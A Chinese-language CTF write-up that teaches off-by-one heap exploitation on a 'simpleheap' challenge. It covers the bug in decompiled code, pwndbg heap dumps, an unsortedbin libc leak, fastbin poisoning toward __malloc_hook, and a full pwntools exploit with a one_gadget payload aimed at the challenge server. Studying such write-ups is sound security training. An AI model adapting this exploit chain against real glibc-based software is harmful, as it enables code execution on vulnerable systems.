快速入门堆溢出技巧(OFF BY ONE)
OFF BY ONE
所谓OFF BY ONE就是利用堆溢出一个字节到下一个堆块，使得目前堆块与下一堆块合并成一个堆块，此时堆块的大小就是我们溢出的那一字节
并且堆块的fd(前驱指针)以及bk(后继指针)都会指向
main_arena+88的地址这也是我们泄露出来的地址
利用gdb 输入libc查看基地址，main_arena+88-libc=offset
本文涉及相关实验：缓冲区溢出基础与实践 （本实验主要介绍了缓冲区溢出基础与实例，通过本实验的学习，了解缓冲区溢出的原理与危害，掌握防范缓冲区溢出的基本方法）
UNSORTERBIN&FASTBINS
在堆块的bins中分为fastbins，largebins，smallbins还有今天要用到的unsortedbin。所谓unsortedbin就是为未分类的区块。
例题讲解
本次我选用V&N在2020的招新赛的simpleheap 如有需要可在buuctf找到
思路概述
我们先创建足够的堆块一般对于这种菜单类型的题目我们创建4个堆块
其中编号为3(编号从0到3)的堆块用来隔开top chunk避免我们需要用到的
编号为1,2的堆块中的2堆块与top chunk重合导致无法使用unsortedbin攻击
接着去利用off by one+unsortedbin泄露libc(使用show函数)最后将堆排布好并构建payload传入即可
First step
常规操作checksec
保护全开64位，倒也正常。接着拉进ida慢慢分析
q@ubuntu:~$ checksec vn[*] '/home/q/vn' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
如下我们可以发现是个非常经典的菜单题目，那么经过查找漏洞点发现在edit函数
void __fastcall main(__int64 a1, char **a2, char **a3){ sub_A39(a1, a2, a3); puts("Welcome to V&N challange!"); puts("This's a simple heap for you."); while ( 1 ) { menu(); switch ( (unsigned int)sub_9EA() ) { case 1u: add(); break; case 2u: edit(); break; case 3u: show(); break; case 4u: del(); break; case 5u: exit(0); default: puts("Please input current choice."); break; } }}
如下get_input_content里面有个off by one 的漏洞
unsigned __int64 __fastcall sub_C39(__int64 a1, int a2){ unsigned __int64 result; // rax unsigned int i; // [rsp+1Ch] [rbp-4h]
for ( i = 0; ; ++i ) { result = i; if ( (int)i > a2 ) break; if ( !read(0, (void *)((int)i + a1), 1uLL) ) exit(0); if ( *(_BYTE *)((int)i + a1) == 10 ) { result = (int)i + a1; *(_BYTE *)result = 0; return result; } } return result;}
Second step
在第一步我们对程序的漏洞点寻找完毕
现在我们要开始第二步去利用off by one创建fake chunk了，先上交互函数
from pwn import *context(log_level='debug')r=process('./vn')#elf=ELF('./vn')#r=remote('node3.buuoj.cn',28465)libc=ELF('16.so')def add(size,content): r.recvuntil("choice: ") r.sendline("1") r.sendlineafter("size?",str(size)) r.sendlineafter("content:",content)def edit(idx,content): r.recvuntil("choice: ") r.sendline("2") r.sendlineafter("idx?",str(idx)) r.sendlineafter("content:",content)def dump(idx): r.recvuntil("choice: ") r.sendline("3") r.sendlineafter("idx?",str(idx))def free(idx): r.recvuntil("choice: ") r.sendline("4") r.sendlineafter("idx?",str(idx))
如思路概述所讲到我们需要创建4个堆
我们创建好的堆结构如下
在gdb中正常的堆结构如下
pwndbg> heapAllocated chunk | PREV_INUSEAddr: 0x556b208da000Size: 0x21 Allocated chunk | PREV_INUSEAddr: 0x556b208da020Size: 0x71 Allocated chunk | PREV_INUSEAddr: 0x556b208da090Size: 0x71 Allocated chunk | PREV_INUSEAddr: 0x556b208da100Size: 0x21 Top chunk | PREV_INUSEAddr: 0x556b208da120Size: 0x20ee1
接下来我们开始利用off by one去对其创建fake chunk
add(0x18,b'a')#0add(0x68,b'a')#1add(0x68,b'a')#2add(0x18,b'a')#3 阻断top chunk edit(0,b'a'*0x18+b'\xe1')free(1)gdb.attach(r)
gdb中调试结果如下，我们很明显的可以看见两个0x71的堆块合并成了我们想要的0xe1的堆块，此时我们的fake chunk就构建完毕了
pwndbg> heapAllocated chunk | PREV_INUSEAddr: 0x5650f994f000Size: 0x21 Free chunk (unsortedbin) | PREV_INUSEAddr: 0x5650f994f020Size: 0xe1fd: 0x7fc2f9aebb78bk: 0x7fc2f9aebb78 Allocated chunkAddr: 0x5650f994f100Size: 0x20 Top chunk | PREV_INUSEAddr: 0x5650f994f120Size: 0x20ee1
Third step
有了fake chunk 现在我们就需要用到unsortedbin里面的chunk去泄露libc
在开头的OFF BY ONE的介绍中我们提到了因为OFF BY ONE形成的chunk
其fd bk指针会指向main_arena+88，在gdb输入libc可以得到libc的地址
main_arena+88-libc=offset=0x3c4b78
在这里呢我们现在要解决的如何用脚本实现交互自动取得偏移呢？
这里就要继续提到
分割unsortedbin
我们重新申请一个堆块，该堆块的大小若刚好在unsortedbin中(强烈建议对半分割)，我们申请回来之后通过gdb可以看见其中的堆结构如下
一个0x71在unsortedbin，另外一个是我们可以正常使用的，此时他的内容便是fd与bk指向的地址main_arena+88
pwndbg> heapAllocated chunk | PREV_INUSEAddr: 0x559615971000Size: 0x21 Allocated chunk | PREV_INUSEAddr: 0x559615971020Size: 0x71 Free chunk (unsortedbin) | PREV_INUSEAddr: 0x559615971090Size: 0x71fd: 0x7f0437e11b78bk: 0x7f0437e11b78 Allocated chunkAddr: 0x559615971100Size: 0x20 Top chunk | PREV_INUSEAddr: 0x559615971120Size: 0x20ee1
因此我们可以得的泄露脚本如下
add(0x68,b'a'*0x08)#1 切割unsortedbin 使得2进入unsortedbin泄露 main_arena dump(2) leak=u64(r.recv(6).ljust(8,b'\x00')) print(hex(leak)) gdb.attach(r) libc_base=leak-(0x3c4b78)#0x7f2c05c6cb78-0x7f2c058a8000 realloc_addr=libc_base+libc.sym['__libc_realloc'] malloc_hook=libc_base+libc.sym['__malloc_hook'] fake_chunk_addr=malloc_hook-0x23 one_gadget=libc_base+0x4526a print(hex(realloc_addr)) print(hex(fake_chunk_addr))
PS:
这里可以说下为什么fake_chunk_addr=malloc_hook-0x23
这个malloc_hook-0x23刚好可以达到fastbin这个基本上每个程序都是固定的
如下0x7f78812fbaed就是fake chunk的地址处于fastbins
并且非常有意思的是此处正是我们leak处main_arena+88这个地方减去88再减去0x33得的的地址，并且该地址也是我们对堆块输入内容的地址
pwndbg> binsfastbins0x20: 0x00x30: 0x00x40: 0x00x50: 0x00x60: 0x00x70: 0x55f8ce9d4090 —▸ 0x7f78812fbaed (_IO_wide_data_0+301) ◂— 0x7880fbcea00000000x80: 0x0unsortedbinall: 0x0smallbinsemptylargebinsempty
Last step
我们现在有了需要的一切，那么现在最后一步就是对堆进行排布并且传入我们构建好的payload
在这里所谓的堆排布就是我们要想办法让堆块去执行我们的传入的payload
从第三步完结的时候堆排布如下
此时我们再申请一个0x68大小的堆块就可以把unsortedbin里面的东西都拿出来
此时堆结构依然不改变，只是位于unsortedbin的chunk变成可以利用的正常chunk其fd bk指针不再指向别的地址而是去指向前驱和后继的chunk
pwndbg> heapAllocated chunk | PREV_INUSEAddr: 0x555d4046b000Size: 0x21 Allocated chunk | PREV_INUSEAddr: 0x555d4046b020Size: 0x71 Free chunk (unsortedbin) | PREV_INUSEAddr: 0x555d4046b090Size: 0x71fd: 0x7ff34264eb78bk: 0x7ff34264eb78 Allocated chunkAddr: 0x555d4046b100Size: 0x20 Top chunk | PREV_INUSEAddr: 0x555d4046b120Size: 0x20ee1
接下来我们再去free掉一个0x68大小的chunk
对留下来的0x68大小的chunk内容填充为fake chunk的地址
接着继续把被free的chunk申请回来，那么此时fastbin链表就会去指向fake chunk
也许语言看蒙了人，我就用图表示
图1如下是free掉后再去填充的样子
图2如下是我们把被free的chunk申请回来后的样子
此时我们可以说是已经劫持成功了，我们接着去填充payload然后再申请一个堆块就可以触发payload了
add(0x68,b'a'*0x08)# 4与2同时指向0x70
free(4)edit(2,p64(fake_chunk_addr))
add(0x68,b'a'*0x08)#4
payload=b'a'*(0x13-0x08)+p64(one_gadget)+p64(realloc_addr+12)add(0x68,payload)#5
r.recvuntil("choice: ")r.sendline("1")r.sendlineafter("size?",str(0x18))print(hex(libc.sym['__malloc_hook']))r.interactive()
PS:
关于为什么是0x13-0x08，因为我们从main_arena-0x33的位置填充的(第三步有提到)，而这个位置距离realloc_hook的距离就是(0x13-8)
关于realloc_hook压栈到底要加多少
我们可以打开gdb输入 x/32i __libc_realloc
pwndbg> x/32i __libc_realloc 0x7ff34230e710 <__GI___libc_realloc>: push r15 0x7ff34230e712 <__GI___libc_realloc+2>: push r14 0x7ff34230e714 <__GI___libc_realloc+4>: push r13 0x7ff34230e716 <__GI___libc_realloc+6>: push r12 0x7ff34230e718 <__GI___libc_realloc+8>: mov r12,rsi 0x7ff34230e71b <__GI___libc_realloc+11>: push rbp 0x7ff34230e71c <__GI___libc_realloc+12>: push rbx
把里面的数字一个个代入试试看。
最后的完整exp如下
EXP:
需要的libc从buuctf里面下载
from pwn import *context(log_level='debug')#r=process('./vn')#elf=ELF('./vn')r=remote('node3.buuoj.cn',28640)libc=ELF('64.so')def add(size,content): r.recvuntil("choice: ") r.sendline("1") r.sendlineafter("size?",str(size)) r.sendlineafter("content:",content)def edit(idx,content): r.recvuntil("choice: ") r.sendline("2") r.sendlineafter("idx?",str(idx)) r.sendlineafter("content:",content)def dump(idx): r.recvuntil("choice: ") r.sendline("3") r.sendlineafter("idx?",str(idx))def free(idx): r.recvuntil("choice: ") r.sendline("4") r.sendlineafter("idx?",str(idx))
#gdb.attach(r)add(0x18,b'a')#0add(0x68,b'a')#1add(0x68,b'a')#2add(0x18,b'a')#3 阻断top chunk
edit(0,b'a'*0x18+b'\xe1')free(1)add(0x68,b'a'*0x08)#1 切割unsortedbin 使得2进入unsortedbin泄露main_arenadump(2)leak=u64(r.recv(6).ljust(8,b'\x00'))print(hex(leak))
libc_base=leak-(0x3c4b78)#0x7f2c05c6cb78-0x7f2c058a8000realloc_addr=libc_base+libc.sym['__libc_realloc']malloc_hook=libc_base+libc.sym['__malloc_hook']fake_chunk_addr=malloc_hook-0x23one_gadget=libc_base+0x4526aprint(hex(realloc_addr))print(hex(fake_chunk_addr))add(0x68,b'a'*0x08)# 4与2同时指向0x70free(4)edit(2,p64(fake_chunk_addr))add(0x68,b'a'*0x08)#4payload=b'a'*(0x13-0x08)+p64(one_gadget)+p64(realloc_addr+12)add(0x68,payload)#5r.recvuntil("choice: ")r.sendline("1")r.sendlineafter("size?",str(0x18))print(hex(libc.sym['__malloc_hook']))r.interactive()
结果如下
1